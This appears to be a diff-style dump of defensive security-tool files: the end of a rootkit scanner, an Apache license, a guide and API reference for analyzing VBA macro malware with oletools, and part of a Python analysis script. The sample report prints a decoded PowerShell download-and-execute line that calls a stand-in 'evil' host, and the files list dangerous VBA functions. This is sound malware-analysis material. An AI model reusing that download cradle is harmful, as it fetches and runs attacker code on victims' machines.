idt_hooks = check_idt_hooks(args.memory_dump, args.isf_url)
|
||||
if args.live_scan:
|
||||
source = "live_system" if source == "none" else source + "+live_system"
|
||||
rkhunter_findings = run_rkhunter()
|
||||
proc_findings = check_proc_sys_discrepancy()
|
||||
report = generate_report(syscall_hooks, hidden_mods, idt_hooks, rkhunter_findings, proc_findings, source)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
logger.info("Rootkit scan: %d findings (%d critical), rootkit detected: %s",
|
||||
report["total_findings"], report["critical_findings"], report["rootkit_detected"])
|
||||
print(json.dumps(report, indent=2, default=str))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
name: analyzing-macro-malware-in-office-documents
|
||||
description: 'Analyzes malicious VBA macros embedded in Microsoft Office documents
|
||||
(Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence
|
||||
mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation
|
||||
to extract the attack chain. Activates for requests involving Office macro analysis,
|
||||
VBA malware investigation, maldoc analysis, or document-based threat examination.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- macro
|
||||
- Office
|
||||
- VBA
|
||||
- document-malware
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
atlas_techniques:
|
||||
- AML.T0068
|
||||
- AML.T0067
|
||||
d3fend_techniques:
|
||||
- File Metadata Consistency Validation
|
||||
- Application Protocol Command Analysis
|
||||
- Identifier Analysis
|
||||
- Content Format Conversion
|
||||
- Message Analysis
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1137.001
|
||||
- T1204.002
|
||||
- T1059.005
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Analyzing Macro Malware in Office Documents
|
||||
|
||||
## When to Use
|
||||
|
||||
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
|
||||
- Investigating phishing campaigns that deliver weaponized Office documents
|
||||
- Extracting VBA macro code to identify the payload download URL and execution method
|
||||
- Analyzing obfuscated VBA code to understand the full attack chain
|
||||
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
|
||||
|
||||
**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with oletools installed (`pip install oletools`)
|
||||
- oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
|
||||
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
|
||||
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
|
||||
- LibreOffice for safe document rendering (does not execute VBA macros by default)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial Document Triage
|
||||
|
||||
Determine if the document contains macros or other active content:
|
||||
|
||||
```bash
|
||||
# Quick triage with olevba
|
||||
olevba suspect.docm
|
||||
|
||||
# Check for OLE streams and macros
|
||||
oleid suspect.docm
|
||||
|
||||
# Output indicators:
|
||||
# VBA Macros: True/False
|
||||
# XLM Macros: True/False
|
||||
# External Relationships: True/False (remote template)
|
||||
# ObjectPool: True/False (embedded objects)
|
||||
# Flash: True/False (SWF objects)
|
||||
|
||||
# Comprehensive OLE analysis
|
||||
oledump.py suspect.docm
|
||||
|
||||
# List all OLE streams with macro indicators
|
||||
# Streams marked with 'M' contain VBA macros
|
||||
# Streams marked with 'm' contain macro attributes
|
||||
```
|
||||
|
||||
### Step 2: Extract and Analyze VBA Code
|
||||
|
||||
Pull out the complete VBA macro source:
|
||||
|
||||
```bash
|
||||
# Extract VBA with full deobfuscation
|
||||
olevba --decode --deobf suspect.docm
|
||||
|
||||
# Extract just the VBA source code
|
||||
olevba --code suspect.docm > extracted_vba.txt
|
||||
|
||||
# Detailed extraction with oledump
|
||||
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
|
||||
|
||||
# Extract all macro streams
|
||||
oledump.py -p plugin_vba_dco suspect.docm
|
||||
```
|
||||
|
||||
```
|
||||
Key VBA Elements to Identify:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
Auto-Execution Triggers:
|
||||
- Auto_Open / AutoOpen (Word)
|
||||
- Auto_Close / AutoClose
|
||||
- Document_Open / Document_Close
|
||||
- Workbook_Open (Excel)
|
||||
- AutoExec
|
||||
|
||||
Suspicious Functions:
|
||||
- Shell() / Shell.Application
|
||||
- WScript.Shell.Run / Exec
|
||||
- CreateObject("WScript.Shell")
|
||||
- PowerShell execution
|
||||
- URLDownloadToFile
|
||||
- MSXML2.XMLHTTP (HTTP requests)
|
||||
- ADODB.Stream (file writing)
|
||||
- Environ() (environment variables)
|
||||
- CallByName (indirect method calls)
|
||||
```
|
||||
|
||||
### Step 3: Deobfuscate VBA Code
|
||||
|
||||
Remove obfuscation layers to reveal the payload:
|
||||
|
||||
```python
|
||||
# VBA deobfuscation techniques
|
||||
import re
|
||||
|
||||
def deobfuscate_vba(code):
|
||||
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
|
||||
def resolve_chr(match):
|
||||
try:
|
||||
return chr(int(match.group(1)))
|
||||
except:
|
||||
return match.group(0)
|
||||
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
|
||||
|
||||
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
|
||||
code = re.sub(r'"\s*&\s*"', '', code)
|
||||
|
||||
# 3. Resolve ChrW calls: ChrW(104)
|
||||
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
|
||||
|
||||
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
|
||||
def resolve_reverse(match):
|
||||
return '"' + match.group(1)[::-1] + '"'
|
||||
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
|
||||
|
||||
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
|
||||
|
||||
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
|
||||
def resolve_replace(match):
|
||||
original = match.group(1)
|
||||
find = match.group(2)
|
||||
replace_with = match.group(3)
|
||||
return '"' + original.replace(find, replace_with) + '"'
|
||||
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
|
||||
|
||||
return code
|
||||
|
||||
with open("extracted_vba.txt") as f:
|
||||
vba_code = f.read()
|
||||
|
||||
deobfuscated = deobfuscate_vba(vba_code)
|
||||
print(deobfuscated)
|
||||
```
|
||||
|
||||
### Step 4: Analyze Excel 4.0 (XLM) Macros
|
||||
|
||||
Handle legacy Excel macros that bypass VBA detection:
|
||||
|
||||
```bash
|
||||
# Detect XLM macros
|
||||
olevba --xlm suspect.xlsm
|
||||
|
||||
# Deobfuscate XLM macros
|
||||
xlmdeobfuscator -f suspect.xlsm
|
||||
|
||||
# Manual XLM analysis with oledump
|
||||
oledump.py suspect.xlsm -p plugin_biff.py
|
||||
|
||||
# XLM (Excel 4.0) macro functions to watch for:
|
||||
# EXEC() - Execute shell command
|
||||
# CALL() - Call DLL function
|
||||
# REGISTER() - Register DLL function
|
||||
# URLDownloadToFileA - Download file
|
||||
# ALERT() - Display message (social engineering)
|
||||
# HALT() - Stop execution
|
||||
# GOTO() - Control flow
|
||||
# IF() - Conditional execution
|
||||
```
|
||||
|
||||
### Step 5: Check for Non-Macro Attack Vectors
|
||||
|
||||
Examine the document for DDE, remote templates, and embedded objects:
|
||||
|
||||
```bash
|
||||
# Check for DDE (Dynamic Data Exchange)
|
||||
python3 -c "
|
||||
import zipfile
|
||||
import xml.etree.ElementTree as ET
|
||||
import re
|
||||
|
||||
z = zipfile.ZipFile('suspect.docx')
|
||||
for name in z.namelist():
|
||||
if name.endswith('.xml') or name.endswith('.rels'):
|
||||
content = z.read(name).decode('utf-8', errors='ignore')
|
||||
# DDE field codes
|
||||
if 'DDEAUTO' in content or 'DDE ' in content:
|
||||
print(f'[!] DDE found in {name}')
|
||||
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
|
||||
for m in dde_match:
|
||||
print(f' Command: {m}')
|
||||
# Remote template
|
||||
if 'attachedTemplate' in content or 'Target=' in content:
|
||||
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
|
||||
for url in urls:
|
||||
print(f'[!] Remote template URL: {url}')
|
||||
"
|
||||
|
||||
# Check for embedded OLE objects
|
||||
oledump.py -p plugin_msg.py suspect.docm
|
||||
|
||||
# Check relationships for external references
|
||||
python3 -c "
|
||||
import zipfile
|
||||
z = zipfile.ZipFile('suspect.docx')
|
||||
for name in z.namelist():
|
||||
if '.rels' in name:
|
||||
content = z.read(name).decode('utf-8', errors='ignore')
|
||||
if 'http' in content.lower() or 'ftp' in content.lower():
|
||||
print(f'External reference in {name}:')
|
||||
import re
|
||||
urls = re.findall(r'Target=\"([^\"]+)\"', content)
|
||||
for url in urls:
|
||||
print(f' {url}')
|
||||
"
|
||||
```
|
||||
|
||||
### Step 6: Generate Analysis Report
|
||||
|
||||
Document the complete macro malware analysis:
|
||||
|
||||
```
|
||||
Report should include:
|
||||
- Document metadata (author, creation date, modification date)
|
||||
- Macro presence and type (VBA, XLM, DDE, remote template)
|
||||
- Auto-execution trigger identified
|
||||
- Deobfuscated VBA source code (key functions)
|
||||
- Download URL(s) for second-stage payloads
|
||||
- Execution method (Shell, WScript, PowerShell, COM object)
|
||||
- Social engineering lure description
|
||||
- Extracted IOCs (URLs, domains, IPs, file hashes)
|
||||
- YARA rule for the specific document pattern
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |
|
||||
| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |
|
||||
| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |
|
||||
| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |
|
||||
| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |
|
||||
| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |
|
||||
| **Protected View** | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
|
||||
- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
|
||||
- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
|
||||
- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
|
||||
- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
|
||||
|
||||
**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
|
||||
|
||||
**Approach**:
|
||||
1. Run oleid to confirm VBA macros are present and identify auto-execution triggers
|
||||
2. Extract VBA code with olevba --decode --deobf for initial deobfuscation
|
||||
3. Identify the auto-execution entry point (Auto_Open or Document_Open)
|
||||
4. Trace the execution flow from the entry point through helper functions
|
||||
5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL
|
||||
6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
|
||||
7. Extract all IOCs and create YARA rules for the specific obfuscation pattern
|
||||
|
||||
**Pitfalls**:
|
||||
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
|
||||
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
|
||||
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
|
||||
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
OFFICE MACRO MALWARE ANALYSIS
|
||||
================================
|
||||
Document: invoice_q3_2025.docm
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
File Type: Microsoft Word Document (OOXML with macros)
|
||||
Author: Administrator
|
||||
Creation Date: 2025-09-10 14:23:00
|
||||
|
||||
MACRO ANALYSIS
|
||||
Type: VBA Macro
|
||||
Trigger: AutoOpen()
|
||||
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
|
||||
|
||||
DEOBFUSCATED EXECUTION CHAIN
|
||||
1. AutoOpen() -> Calls Module1.RunPayload()
|
||||
2. RunPayload() builds command string via Chr() concatenation
|
||||
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
|
||||
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
|
||||
|
||||
SOCIAL ENGINEERING LURE
|
||||
- Document displays fake "Protected Document" image
|
||||
- Instructs user to "Enable Content" to view the document
|
||||
- Content is blurred/hidden until macros execute
|
||||
|
||||
EXTRACTED IOCs
|
||||
Download URL: hxxp://evil[.]com/payload.ps1
|
||||
C2 Domain: evil[.]com
|
||||
IP Address: 185.220.101[.]42
|
||||
User-Agent: PowerShell (default WebClient)
|
||||
|
||||
MITRE ATT&CK
|
||||
T1566.001 Phishing: Spearphishing Attachment
|
||||
T1204.002 User Execution: Malicious File
|
||||
T1059.001 Command and Scripting Interpreter: PowerShell
|
||||
T1059.005 Command and Scripting Interpreter: Visual Basic
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
# API Reference: Office Macro Malware Analysis Tools
|
||||
|
||||
## olevba - VBA Macro Extraction (oletools)
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
olevba document.docm # Full analysis
|
||||
olevba --decode --deobf document.docm # Decode + deobfuscate
|
||||
olevba --code document.docm # Extract VBA source only
|
||||
olevba --json document.docm # JSON output
|
||||
olevba --reveal document.docm # Reveal hidden content
|
||||
```
|
||||
|
||||
### Output Sections
|
||||
| Section | Content |
|
||||
|---------|---------|
|
||||
| `AutoExec` | Auto-execution triggers (AutoOpen, Document_Open) |
|
||||
| `Suspicious` | Dangerous functions (Shell, WScript, CreateObject) |
|
||||
| `IOC` | Extracted indicators (URLs, IPs, file paths) |
|
||||
| `Hex String` | Decoded hex-encoded strings |
|
||||
|
||||
### Python API
|
||||
```python
|
||||
from oletools.olevba import VBA_Parser
|
||||
vba = VBA_Parser("document.docm")
|
||||
if vba.detect_vba_macros():
|
||||
for (fn, stream, vba_fn, code) in vba.extract_macros():
|
||||
print(code)
|
||||
for (kw_type, keyword, desc) in vba.analyze_macros():
|
||||
print(f"{kw_type}: {keyword}")
|
||||
vba.close()
|
||||
```
|
||||
|
||||
## oleid - Document Capability Identification
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
oleid document.docm
|
||||
```
|
||||
|
||||
### Indicators
|
||||
| Indicator | Risk Values |
|
||||
|-----------|-------------|
|
||||
| `VBA Macros` | True/False |
|
||||
| `XLM Macros` | True/False |
|
||||
| `External Relationships` | True/False |
|
||||
| `ObjectPool` | True/False |
|
||||
| `Flash` | True/False |
|
||||
|
||||
## oledump.py - OLE Stream Analysis
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
oledump.py document.docm # List streams
|
||||
oledump.py -s 8 -v document.docm # Extract stream 8
|
||||
oledump.py -p plugin_vba_dco document.docm # VBA decompile
|
||||
oledump.py -p plugin_msg.py document.msg # MSG file parsing
|
||||
```
|
||||
|
||||
### Stream Markers
|
||||
| Marker | Meaning |
|
||||
|--------|---------|
|
||||
| `M` | Contains VBA macros |
|
||||
| `m` | Contains macro attributes |
|
||||
| `O` | Contains OLE objects |
|
||||
|
||||
## XLMDeobfuscator - Excel 4.0 Macros
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
xlmdeobfuscator -f document.xlsm
|
||||
xlmdeobfuscator -f document.xlsm --output-format json
|
||||
```
|
||||
|
||||
### Dangerous XLM Functions
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `EXEC()` | Execute shell command |
|
||||
| `CALL()` | Call DLL function |
|
||||
| `REGISTER()` | Register DLL function |
|
||||
| `URLDownloadToFileA` | Download file from URL |
|
||||
|
||||
## VBA Auto-Execution Triggers
|
||||
|
||||
| Trigger | Application |
|
||||
|---------|-------------|
|
||||
| `Auto_Open` / `AutoOpen` | Word |
|
||||
| `Document_Open` | Word |
|
||||
| `Workbook_Open` | Excel |
|
||||
| `Auto_Close` | Word |
|
||||
| `AutoExec` | Word |
|
||||
|
||||
## VBA Suspicious Functions
|
||||
|
||||
| Function | Risk |
|
||||
|----------|------|
|
||||
| `Shell()` | Command execution |
|
||||
| `WScript.Shell` | Windows scripting |
|
||||
| `CreateObject()` | COM object instantiation |
|
||||
| `URLDownloadToFile` | File download |
|
||||
| `MSXML2.XMLHTTP` | HTTP requests |
|
||||
| `ADODB.Stream` | Binary file writing |
|
||||
| `CallByName` | Indirect method invocation |
|
||||
| `Environ()` | Environment variable access |
|
||||
|
||||
## ViperMonkey - VBA Emulation
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
vmonkey document.docm
|
||||
vmonkey --iocs document.docm # Extract IOCs only
|
||||
```
|
||||
@@ -0,0 +1,246 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import json
|
||||
import zipfile
|
||||
|
||||
try:
|
||||
from oletools.olevba import VBA_Parser
|
||||
from oletools import oleid
|
||||
HAS_OLETOOLS = True
|
||||
except ImportError:
|
||||
HAS_OLETOOLS = False
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of a file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
def triage_document(filepath):
|
||||
"""Quick triage using oleid to identify document capabilities."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed: pip install oletools"}
|
||||
oid = oleid.OleID(filepath)
|
||||
indicators = oid.check()
|
||||
results = {}
|
||||
for indicator in indicators:
|
||||
results[indicator.name] = {
|
||||
"value": str(indicator.value),
|
||||
"risk": indicator.risk,
|
||||
"description": indicator.description,
|
||||
}
|
||||
return results
|
||||
|
||||
|
||||
def extract_vba_macros(filepath):
|
||||
"""Extract VBA macro code from an Office document."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed"}
|
||||
vba_parser = VBA_Parser(filepath)
|
||||
macros = []
|
||||
if vba_parser.detect_vba_macros():
|
||||
for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
|
||||
macros.append({
|
||||
"filename": filename,
|
||||
"stream_path": stream_path,
|
||||
"vba_filename": vba_filename,
|
||||
"code": vba_code,
|
||||
"code_length": len(vba_code),
|
||||
})
|
||||
vba_parser.close()
|
||||
return macros
|
||||
|
||||
|
||||
def analyze_vba_suspicious(filepath):
|
||||
"""Analyze VBA macros for suspicious keywords and patterns."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed"}
|
||||
vba_parser = VBA_Parser(filepath)
|
||||
analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
|
||||
if vba_parser.detect_vba_macros():
|
||||
results = vba_parser.analyze_macros()
|
||||
for (kw_type, keyword, description) in results:
|
||||
entry = {"type": kw_type, "keyword": keyword, "description": description}
|
||||
if kw_type == "AutoExec":
|
||||
analysis["auto_exec"].append(entry)
|
||||
elif kw_type == "Suspicious":
|
||||
analysis["suspicious"].append(entry)
|
||||
elif kw_type == "IOC":
|
||||
analysis["iocs"].append(entry)
|
||||
elif kw_type == "Hex String":
|
||||
analysis["hex_strings"].append(entry)
|
||||
vba_parser.close()
|
||||
return analysis
|
||||
|
||||
|
||||
def deobfuscate_chr_calls(vba_code):
|
||||
"""Resolve Chr() and ChrW() calls in VBA code."""
|
||||
def resolve_chr(match):
|
||||
try:
|
||||
return chr(int(match.group(1)))
|
||||
except (ValueError, OverflowError):
|
||||
return match.group(0)
|
||||
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
|
||||
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
|
||||
return code
|
||||
|
||||
|
||||
def deobfuscate_concatenation(vba_code):
|
||||
"""Remove string concatenation: "abc" & "def" -> "abcdef"."""
|
||||
return re.sub(r'"\s*&\s*"', '', vba_code)
